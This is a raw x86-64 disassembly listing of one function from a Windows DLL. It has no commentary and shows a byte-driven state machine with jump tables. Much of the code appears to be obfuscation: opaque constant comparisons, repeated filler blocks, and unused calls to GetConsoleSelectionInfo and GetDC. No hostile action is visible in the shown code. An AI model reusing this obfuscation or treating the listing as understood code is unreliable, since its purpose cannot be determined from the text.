cmp eax, 1
je 0x1800283f1
mov eax, 0x27
cmp eax, 0x27
je 0x18002cc37
dec eax
cmp eax, 0x26
ja 0x1800283e1
mov r10, r13
inc edi
cmp edi, 0x3e
jb 0x180028377
mov r14d, 0x35
mov eax, r14d
sub eax, 0x35
je 0x180028427
cmp eax, 1
je 0x180028527
jmp 0x180028496
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x1800283f4
cmp qword [r10 + 8], 0
lea rsi, [r10 + 8]
je 0x18002847c
mov edi, 0xc
cmp edi, 0xc
je 0x180028469
cmp edi, 0x150
jne 0x18002846c
mov rax, qword [r15 + 0x20]
test rax, rax
je 0x180028455
mov rcx, qword [rsi]
mov rcx, qword [rcx]
call rax
mov edx, 0x55
mov rcx, rsi
call fcn.180009b10
mov r10, qword [rsp + 0x58]
jmp 0x18002846c
mov dword [r10], ebx
add edi, 0x144
cmp edi, 0x288
jbe 0x180028437
jmp 0x180028496
mov eax, 0x8e
cmp eax, 0x8e
je 0x1800294d8
add eax, 0x15
cmp eax, 0xa3
jb 0x180028481
inc r14d
cmp r14d, 0x37
jb 0x180028405
mov edi, 0x43
mov eax, edi
sub eax, 0x43
je 0x1800284b6
cmp eax, 0x59
je 0x180028527
jmp 0x18002851c
cmp dword [r10 + 4], 0
jne 0x18002851c
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffe
jae 0x18002852e
movzx eax, byte [rbx]
lea r8, [rbp - 0x10]
mov r13, qword [rsp + 0x58]
mov edx, 0x30
mov byte [rbp - 0x10], al
mov rcx, qword [r13 + 8]
call fcn.180072e90
cmp eax, 1
je 0x180028519
mov eax, 0xab
cmp eax, 0xab
je 0x18002cc37
add eax, 0x2f6d
cmp eax, 0x2f6d
jbe 0x180028502
mov r10, r13
add edi, 0x59
cmp edi, 0xf5
jb 0x1800284a8
mov ecx, 0x34
jmp 0x180028545
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x18002851c
mov dword [rsp + 0x70], 1
dec ecx
cmp ecx, 0x31
ja 0x180028342
mov r13d, 0x19a
jmp case.0x180027173.187
mov edi, 0x88
cmp edi, 0x88
je 0x180028576
cmp edi, 0x18f8
je case.0x18002c317.0
jmp 0x18002858c
mov rcx, qword [rbp + 0x60]
xor r8d, r8d
mov edx, 0x9e
call fcn.18003d6e0
mov qword [rsp + 0x70], rax
add edi, 0x1870
cmp edi, 0x30e0
jbe 0x180028560
mov r10, qword [rsp + 0x58]
mov r13d, 0x114
jmp case.0x180027173.187
cmp r13d, 0x2a6
ja 0x180028996
je 0x18002898b
mov eax, r13d
sub eax, 0x1dd
je 0x180028980
sub eax, 0x43
je 0x18002873e
cmp eax, 0x43
jne case.0x180027173.187
jmp 0x1800285eb
mov r10, qword [rsp + 0x58]
lea rdi, [0x180000000]
mov esi, 0x49
mov eax, esi
sub eax, 0x46
je case.0x18002c317.0
sub eax, 1
je 0x180028720
sub eax, 1
je 0x180028719
cmp eax, 1
jne 0x180028728
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180028639.49
cdqe
movzx eax, byte [rdi + rax + 0x2cf10]
mov ecx, dword [rdi + rax*4 + 0x2cf08]
add rcx, rdi
jmp rcx
mov edi, 0xc2
mov eax, edi
sub eax, 0xc0
je 0x180028712
sub eax, 1
je 0x180028709
cmp eax, 1
jne 0x1800286cd
cmp dword [r10 + 4], 0
jne 0x1800286cd
mov rcx, qword [r10 + 8]
lea edx, [rax + 0x52]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
call fcn.180026110
cmp rax, 0xfffffffffffffffb
jae 0x1800286fa
mov r13, qword [rsp + 0x58]
lea r8, [rbp - 8]
mov edx, 0x30
mov byte [rbp - 8], 0x75
mov rcx, qword [r13 + 8]
call fcn.180072e90
cmp eax, 1
je 0x1800286ca
mov eax, 0x73
cmp eax, 0x73
je 0x1800286b6
cmp eax, 0x1676
je case.0x18002c317.0
jmp 0x1800286be
mov dword [rsp + 0x70], 6
add eax, 0x1603
cmp eax, 0x2c06
jbe 0x1800286a4
mov r10, r13
dec edi
cmp edi, 0xbf
ja 0x180028640
lea rdi, [0x180000000]
mov eax, 2
cmp eax, 2
je 0x18002cc44
add eax, 9
cmp eax, 0xb
jb 0x1800286e7
jmp 0x180028728
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x1800286cd
mov dword [r10], 4
jmp 0x1800286cd
lea rdi, [0x180000000]
mov esi, 0x48
jmp 0x180028728
mov dword [rsp + 0x70], 1
dec esi
cmp esi, 0x45
ja 0x1800285f0
mov r13d, 0x263
jmp case.0x180027173.187
mov eax, 0xbe
cmp eax, 0xbe
je 0x180028780
cmp eax, 0x1e6e
je 0x180028775
cmp eax, 0x3c1e
je 0x180028768
cmp eax, 0x59ce
je case.0x18002c317.0
jmp 0x18002896b
mov dword [rsp + 0x70], 1
jmp 0x18002896b
mov r13d, 0x220
jmp 0x18002896b
movsx eax, byte [rbx]
add eax, 0xffffffde
cmp eax, 0x53
ja case.0x1800287a3.36
cdqe
movzx eax, byte [rdi + rax + 0x2cf54]
mov ecx, dword [rdi + rax*4 + 0x2cf48]
add rcx, rdi
jmp rcx
mov eax, 0x63
nop word [rax + rax]
cmp eax, 0x63
je 0x1800287ec
add eax, 0x20df
cmp eax, 0x20df
jbe 0x1800287b0
mov edi, 0x21
cmp edi, 0x21
je 0x1800288ae
cmp edi, 0xa2f
je 0x1800288a5
cmp edi, 0x143d
je 0x18002895f
jmp 0x180028919
cmp dword [r10 + 4], 0
jne 0x18002895f
mov edi, 0xad
nop dword [rax]
mov eax, edi
sub eax, 0xac
je 0x180028839
cmp eax, 1
jne 0x18002882a
xorps xmm0, xmm0
lea rcx, [rbp + 0xb0]
movups xmmword [rbp + 0xb0], xmm0
call qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
mov r10, qword [rsp + 0x58]
dec edi
cmp edi, 0xab
ja 0x180028800
jmp 0x18002895f
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffe
jae 0x180028896
movzx eax, byte [rbx]
lea r8, [rbp]
mov byte [rbp], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x180028825
mov eax, 0xc0
nop
cmp eax, 0xc0
je 0x18002cc37
inc eax
cmp eax, 0xc1
jb 0x180028880
jmp 0x180028825
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x18002882a
mov dword [r10], 3
jmp 0x180028919
cmp dword [r10 + 4], 0
jne 0x180028919
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffa
jae 0x180028940
mov rax, qword [rsp + 0x58]
lea r8, [rbp + 8]
mov edx, 0x30
mov byte [rbp + 8], 0x75
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x180028914
mov eax, 0xb4
nop dword [rax + rax]
cmp eax, 0xb4
je 0x18002cc37
dec eax
cmp eax, 0xb3
ja 0x180028900
mov r10, qword [rsp + 0x58]
add edi, 0xa0e
cmp edi, 0x1e2a
jbe 0x1800287c6
mov eax, 0x4f
cmp eax, 0x4f
je 0x18002894f
cmp eax, 0x58
je case.0x18002c317.0
jmp 0x180028957
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x180028919
mov dword [rsp + 0x70], 7
add eax, 9
cmp eax, 0x61
jb 0x180028930
mov eax, 0xbe
lea rdi, [0x180000000]
add eax, 0x1db0
cmp eax, 0x76c0
jbe 0x180028743
jmp case.0x180027173.187
mov r13d, 0x1dd
jmp case.0x180027173.187
mov r13d, 0x2a6
jmp case.0x180027173.187
mov eax, r13d
sub eax, 0x2e9
je 0x180028b0c
sub eax, 0x43
je 0x1800289bd
cmp eax, 0x43
jne case.0x180027173.187
mov r13d, 0x36f
jmp case.0x180027173.187
mov ecx, 0x5e
mov eax, ecx
sub eax, 0x5e
je 0x1800289e9
sub eax, 1
je 0x1800289dc
cmp eax, 1
je case.0x18002c317.0
jmp 0x180028ae0
mov dword [rsp + 0x70], 1
jmp 0x180028ae0
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180028a0c.49
cdqe
movzx eax, byte [rdi + rax + 0x2cfb0]
mov ecx, dword [rdi + rax*4 + 0x2cfa8]
add rcx, rdi
jmp rcx
mov edi, 0x97
mov eax, edi
sub eax, 0x97
je 0x180028a2a
cmp eax, 1
je 0x180028adb
jmp 0x180028ab1
cmp dword [r10 + 4], 0
jne 0x180028aaa
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffd
jae 0x180028afd
movzx eax, byte [rbx]
lea r8, [rbp + 0x10]
mov byte [rbp + 0x10], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x180028aa5
mov ecx, 0x75
nop word [rax + rax]
mov eax, ecx
sub eax, 0x75
je 0x180028a92
cmp eax, 0x3e
je case.0x18002c317.0
jmp 0x180028a9a
mov dword [rsp + 0x70], 6
add ecx, 0x3e
cmp ecx, 0xf1
jb 0x180028a80
mov r10, qword [rsp + 0x58]
mov dword [r10], 6
inc edi
cmp edi, 0x99
jb 0x180028a13
mov eax, 0xc3
cmp eax, 0xc3
je 0x18002cc44
add eax, 0x2490
cmp eax, 0x2490
jbe 0x180028ac4
mov ecx, 0x5e
inc ecx
lea rdi, [0x180000000]
cmp ecx, 0x61
jb 0x1800289c2
mov r13d, 0x32c
jmp case.0x180027173.187
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x180028aaa
mov ecx, 0xad
mov eax, ecx
sub eax, 0xad
je 0x180028b40
sub eax, 1
je 0x180028b2d
cmp eax, 1
je case.0x18002c317.0
jmp 0x180028c41
mov r13d, 0x2e9
mov dword [rsp + 0x70], 1
jmp 0x180028c41
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x180028b63.49
cdqe
movzx eax, byte [rdi + rax + 0x2cff0]
mov ecx, dword [rdi + rax*4 + 0x2cfe8]
add rcx, rdi
jmp rcx
mov edi, 0xe
nop word [rax + rax]
cmp edi, 0xe
je 0x180028b86
cmp edi, 0x25a
je 0x180028c35
jmp 0x180028c08
cmp dword [r10 + 4], 0
jne 0x180028c01
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea edx, [r9 + 0x53]
call fcn.180026110
cmp rax, 0xfffffffffffffffc
jae 0x180028cfd
movzx eax, byte [rbx]
lea r8, [rbp - 0x50]
mov byte [rbp - 0x50], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x180028bfc
mov ecx, IUnknown_AtomicRelease
mov eax, ecx
sub eax, 0xa7
je 0x180028bea
cmp eax, 1
je case.0x18002c317.0
jmp 0x180028bf2
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0xa9
jb 0x180028bd6
mov r10, qword [rsp + 0x58]
mov dword [r10], 5
add edi, 0x24c
cmp edi, 0x498
jbe 0x180028b70
mov eax, 0x2a
nop
cmp eax, 0x2a
je 0x18002cc44
add eax, 0x24c
cmp eax, 0x24c
jbe 0x180028c20
mov ecx, 0xad
lea rdi, [0x180000000]
inc ecx
cmp ecx, 0xb0
jb 0x180028b11
mov rcx, qword [rbp + 0xc8]
mov rsi, qword [rbp + 0xd8]
add r13d, 0x43
mov dword [rbp - 0x78], r13d
cmp r13d, 0x5c3
jb 0x180026fbd
mov r14d, 1
cmp r14d, 0x840
ja 0x1800298c4
cmp r14d, 0x3c1
ja 0x1800298ad
je 0x180029883
cmp r14d, 0x181
ja 0x180029781
je 0x180029748
mov eax, r14d
sub eax, 1
je 0x18002971b
sub eax, 0x60
je 0x180029657
sub eax, 0x2d
je 0x180029512
sub eax, 0x33
je 0x1800294e5
cmp eax, 0x60
jne 0x1800298ad
mov eax, dword [r10 + 0x40]
mov rsi, qword [rbp + 0xd8]
sub eax, 2
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
mov dword [r10 + 0x44], eax
jmp 0x180028c78
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x180028c01
mov rsi, qword [rbp + 0xd8]
mov r14d, 0x35ce
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
jmp 0x180028c78
mov rsi, qword [rbp + 0xd8]
mov r14d, 0x6b0e
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
jmp 0x180028c78
mov rsi, qword [rbp + 0xd8]
mov r14d, 0xd58e
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
jmp 0x180028c78
mov rsi, qword [rbp + 0xd8]
mov r14d, 0x1400e
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
jmp 0x180028c78
mov rsi, qword [rbp + 0xd8]
mov r14d, 0x1754e
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
jmp 0x180028c78
cmp byte [rbx], 0x73
je 0x180028dc4
mov eax, 0xc7
nop word [rax + rax]
cmp eax, 0xc7
je 0x18002cc44
inc eax
cmp eax, 0xc8
jb 0x180028db0
mov dword [r10], 0xd
add ecx, 0x1b12
cmp ecx, 0x3624
jbe 0x180027ee4
mov rsi, qword [rbp + 0xd8]
add r14d, 0x60
mov rcx, qword [rbp + 0xc8]
jmp 0x180028c78
mov rsi, qword [rbp + 0xd8]
mov r14d, 0x2150e
mov rcx, qword [rbp + 0xc8]
add r14d, 0x60
jmp 0x180028c78
movzx eax, byte [rsp + 0x50]
mov r15d, 0x8e
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x54]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x6c], eax
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0xee
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], r8d
mov r8d, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x6c], r8d
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0x1ae
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov edx, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x6c], edx
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov edx, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x6c], edx
jmp 0x18002a730
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov edx, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x6c], edx
mov r15d, 0x2ce
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0x32e
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x54]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x6c], eax
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov edx, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x6c], edx
jmp 0x180029b72
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov edx, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x6c], edx
mov r15d, 0x44e
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0x4ae
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov r13, qword [rbp + 0xc0]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x54]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x6c], eax
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], r13
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0x50e
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov rsi, qword [rbp + 0xc0]
mov dword [rbp - 0x70], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x54]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x6c], eax
mov dword [rbp - 0x78], ecx
mov qword [rbp - 0x40], rsi
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0x56e
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov rdx, qword [rbp + 0xc0]
mov qword [rbp - 0x40], rdx
mov edx, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov dword [rbp - 0x6c], edx
jmp 0x18002cc04
movzx eax, byte [rsp + 0x50]
mov r15d, 0x62e
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov rdx, qword [rbp + 0xc0]
mov qword [rbp - 0x40], rdx
mov edx, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov dword [rbp - 0x6c], edx
jmp 0x18002cc04
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.USER32.dll_GetDC]
movzx eax, byte [rsp + 0x50]
mov rcx, qword [rbp + 0xc0]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov rdx, qword [rbp + 0xc0]
mov qword [rbp - 0x40], rdx
mov edx, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x60], cl
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x70], edx
mov edx, dword [rsp + 0x54]
mov byte [rsp + 0x50], al
mov dword [rbp - 0x78], ecx
mov dword [rbp - 0x6c], edx
mov ecx, 0x34
nop dword [rax + rax]
mov eax, ecx
sub eax, 0x31
je case.0x18002c317.0
sub eax, 1
je 0x18002cbeb
sub eax, 1
je 0x18002cbf3
cmp eax, 1
jne 0x18002cbf3
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180029460.13
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x2d03c]
mov ecx, dword [rdx + rax*4 + 0x2d028]
add rcx, rdx
jmp rcx
mov rcx, qword [rbp + 0xc0]
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x68], al
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0xc0], rcx
movzx ecx, byte [rsp + 0x50]
mov qword [rbp - 0x48], rax
mov eax, dword [rsp + 0x54]
mov byte [rsp + 0x60], cl
mov dword [rbp - 0x74], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov ecx, dword [rsp + 0x54]
mov eax, dword [rsp + 0x54]
mov dword [rbp - 0x78], ecx
mov rcx, qword [rbp + 0xc0]
mov qword [rbp - 0x40], rcx
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x50]
mov dword [rbp - 0x70], ecx
mov ecx, dword [rsp + 0x54]
mov dword [rbp - 0x6c], ecx
mov byte [rsp + 0x50], al
mov r15d, 0x74e
jmp 0x18002cc04
mov dword [rsp + 0x70], 0xa
jmp case.0x18002c317.0
mov rax, qword [rbp + 0xd0]
mov rsi, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xc8]
mov qword [r10 + 0x38], rax
mov eax, dword [r10 + 0x28]
sub eax, 2
mov dword [r10 + 0x2c], eax
add r14d, 0x60
jmp 0x180028c78
mov esi, 0x31
mov eax, esi
sub eax, 0x31
je 0x180029535
sub eax, 1
je 0x18002964c
cmp eax, 1
je 0x180027ef9
jmp 0x180029614
movsx eax, byte [rbx]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.0x18002955f.49
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x2d0bc]
mov ecx, dword [rdx + rax*4 + 0x2d0b4]
add rcx, rdx
jmp rcx
mov edi, 0x98
nop word [rax + rax]
mov eax, edi
sub eax, 0x97
je 0x180029645
cmp eax, 1
jne 0x1800295ea
cmp dword [r10 + 4], 0
jne 0x1800295ea
mov rcx, qword [r10 + 8]
lea edx, [rax + 0x52]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
call fcn.180026110
cmp rax, 0xfffffffffffffffe
jae 0x180029636
movzx eax, byte [rbx]
lea r8, [rbp - 0x50]
mov byte [rbp - 0x50], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x1800295e5
mov eax, 0xb4
cmp eax, 0xb4
je 0x18002cc37
dec eax
cmp eax, 0xb3
ja 0x1800295d1
mov r10, qword [rsp + 0x58]
dec edi
cmp edi, 0x96
ja 0x180029570
mov eax, 0x95
nop dword [rax]
cmp eax, 0x95
je 0x18002cc44
dec eax
cmp eax, 0x94
ja 0x180029600
inc esi
cmp esi, 0x34
jb 0x180029517
mov rsi, qword [rbp + 0xd8]
add r14d, 0x60
mov rcx, qword [rbp + 0xc8]
jmp 0x180028c78
mov r10, qword [rsp + 0x58]
mov dword [r10 + 4], 1
jmp 0x1800295ea
mov dword [r10], 1
mov esi, 0x32
lea r14d, [rsi + 0x5c]
jmp 0x180029614
cmp qword [r10 + 0x30], 0
je 0x180029670
cmp qword [r10 + 0x48], 0
je 0x180029670
cmp qword [r10 + 0x50], 0
jne 0x1800298ad
mov edi, 0xb1
mov eax, edi
sub eax, 0xb1
je 0x1800296e2
sub eax, 0x51
je 0x1800296dc
sub eax, 0x51
je 0x1800296b2
